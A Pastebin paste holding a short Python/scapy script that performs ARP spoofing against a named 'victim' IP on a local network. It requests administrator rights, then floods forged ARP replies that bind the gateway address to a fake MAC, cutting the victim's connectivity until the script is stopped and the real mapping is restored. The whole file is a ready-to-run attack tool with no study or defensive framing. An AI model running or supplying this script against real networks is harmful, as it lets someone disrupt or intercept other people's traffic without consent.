Guest User

Untitled

a guest
Jun 19th, 2018
81
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.82 KB | None | 0 0
  1. import sys
  2. import ctypes
  3. import os
  4. if sys.platform == "nt":
  5. def is_admin():
  6. try:
  7. return ctypes.windll.shell32.IsUserAnAdmin()
  8. except:
  9. return False
  10. if not is_admin():
  11. ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
  12. exit()
  13. elif sys.platform == "linux":
  14. if os.geteuid() != 0:
  15. print("You need to run this script as root!")
  16. exit()
  17.  
  18. from scapy.all import *
  19. from getmac import get_mac_address
  20. import time
  21. verbose = False
  22.  
  23.  
  24. def kill_connection(victim_ip, victim_mac, gateway_ip):
  25. send(ARP(op=2, psrc=gateway_ip, hwsrc='12:34:56:78:9A:BC', pdst=victim_ip, hwdst=victim_mac), verbose=verbose)
  26.  
  27.  
  28. def fix_connection(victim_ip, victim_mac, gateway_ip, gateway_mac):
  29. send(ARP(op=2, psrc=gateway_ip, hwsrc=gateway_mac, pdst=victim_ip, hwdst=victim_mac), verbose=verbose)
  30.  
  31.  
  32. print("Starting up")
  33.  
  34. gateway_ip = "192.168.0.1"
  35. gateway_mac = "08:02:8E:84:32:C3"
  36. if sys.platform == "linux":
  37. gateway_mac = get_mac_address(ip=gateway_ip, network_request=False)
  38. print(f"Gateway: \nIP: {gateway_ip}\nMAC: {gateway_mac}")
  39.  
  40. victim_ip = "192.168.0.7"
  41. victim_mac = "94:65:2D:A8:47:D5"
  42. print(victim_mac)
  43. if sys.platform == "linux":
  44. victim_mac = get_mac_address(ip=victim_ip, network_request=False)
  45. print(f"Victim: \nIP: {victim_ip}\nMAC: {victim_mac}")
  46.  
  47. print("Startup complete")
  48. print("Starting to poison all requests of victim")
  49. try:
  50. while True:
  51. kill_connection(victim_ip=victim_ip, victim_mac=victim_mac, gateway_ip=gateway_ip)
  52. except KeyboardInterrupt:
  53. print("Shutting down")
  54. time.sleep(0.5)
  55. for x in range(5):
  56. time.sleep(0.3)
  57. fix_connection(victim_ip=victim_ip, victim_mac=victim_mac, gateway_ip=gateway_ip, gateway_mac=gateway_mac)
  58. print("Shutdown complete. Victim connection restored")
  59. print("Bye")
Add Comment
Please, Sign In to add comment